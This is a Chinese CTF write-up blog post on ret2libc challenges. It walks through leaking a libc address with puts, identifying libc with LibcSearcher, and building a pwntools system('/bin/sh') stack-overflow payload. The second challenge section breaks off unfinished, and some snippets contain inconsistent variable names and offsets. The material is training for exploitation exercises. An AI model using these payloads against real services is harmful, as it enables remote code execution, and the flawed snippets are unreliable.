ret2libc3类型题思路总结

本文最后更新于:2023年3月10日 晚上

注:作者会常用io声明为process类的类名,elf声明为ELF文件对应的ELF类的类名,libc声明为libc文件对应的ELF类的类名。

ret2libc3

题目来源:CTF-wiki

题目环境:ELF i386 未知libc版本

本题保护如下:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

本题可能是大多数人第一次接触ELF这个类

ELF类介绍

(翻译:封装有关ELF文件的信息)

本题思路如下图

![re2libc3类型题](../img/re2libc3-CTF-wiki.png

本题用于输出而定义的、处于.got.plt表中的函数有puts(const char *s)、printf(const char *format, …),由于printf参数不可控,所以我们常使用puts函数去泄露任一函数在got表中的地址。第一次栈溢出ret2的地址就应为下次溢出开始之前,为了方便,我们可以选择main函数,亦或是_start函数。例如说若本题我们选择泄露__libc_start_main这个函数对应的got表地址,则第一段payload可以构造为:

payload = b'a' * 112 + p32(puts_plt) + p32(_start_addr) + p32(__libc_start_main_got)

注:不能选择_start、_init、_fini作为预期被泄露函数,因为GNU把这三个作为了程序启动和结束的最基本运行库函数,分别放在crt1.o、crti.o、crtn.o这三个object文件中供程序链接时使用,而不是在libc.so.6中。

既然利用了puts函数打印了其地址,那么就应该接收再去利用。我们就可以选择使用process类中的recv()去接收,在Python中以列表/bytes的形式存储,于是我们可以用pwntools中的u32()去解包并返回一个整型数。如果认为接收的部分多于自己需求的部分,可详查Python List的用法,如[::]中第一个参数是起始点(默认为0),第二个参数为结束点(默认为len(list)),前两个参数取左闭右开区间;最后一个参数为步长,即经过多少个数记录一次并返回该值,如:

__libc_start_main_addr = u32(io.recv()[:4])

本题最终需要执行的是system(“/bin/sh”),那么就应该是找到system函数在libc当中的地址和*/bin/sh*字符串在libc当中的地址。而这些内容作为动态链接库的一部分自然也是“相对”动态的。而这“相对”,就在于其中库中所有内容的偏移量相对于库的基址是固定的,在我们需要的时候,我们就可以把它们“倾倒”(dump)出来然后供自己使用。

so作为动态链接库文件仍有一个很重要的特性,就是由于libc基址的十六进制数的后三位一定为0,所以可以利用泄露出的函数地址的后三位去确定libc版本。而为了简化这个过程,我们常采用LibcSearcher这个工具:

libc = LibcSeacher("__libc_start_main", __libc_start_main_addr)

由此,我们便得到了libc的版本,于是:

1
2
3
libc_base = __libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

最终再次构造payload

payload = b'a' * 104 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)

babyof

题目来源:2021 鹤城杯

题目环境:ELF amd64 已知libc版本(Ubuntu18,对应glibc2.27)

不多说,pwntools包是必须要导入的。

查栈空间,大小为72字,payload先填充72字的内容。

经过readelf(-d),看上了__gmon_start__函数,

找到了这篇文章What is gmon_start symbol?
大致的意思就是说call_gmon_start函数初始化gmon profiling system,这个系统是在编译程序时加上-pg选项,程序通过gprof可以输出函数调用等信息。 gmon_start 指向 gmon初始化函数, 该函数开始记录 profiling信息并在 atexit()中注册了一个清理函数。
上面提到的函数和功能都是在glibc中实现,下面看一下glibc的源码,在sysdeps/generic/initfini.c中

1
2
3
4
5
6
7
8
9
static void
call_gmon_start(void)
{
extern void __gmon_start__ (void) __attribute__ ((weak)); /*weak_extern (__gmon_start__);*/
void (*gmon_start) (void) = __gmon_start__;

if (gmon_start)
gmon_start ();
}

所以gmon_start会出现在重定向符号表中。
call_gmon_start的调用是在_inti即.init段的代码中。

至于上面提到的profile系统的作用和gmon_start 函数的作用请参考C++ Profiler工具之初体验

_gmon_start__函数会出现在init函数中,即出现于.init代码段中,init函数ret地址为0x400743,利用该retn去返回到

主函数ret地址为


ret2libc3类型题思路总结
http://example.com/2022/11/17/ret2libc3类型题思路总结/
作者
OSLike
发布于
2022年11月17日
许可协议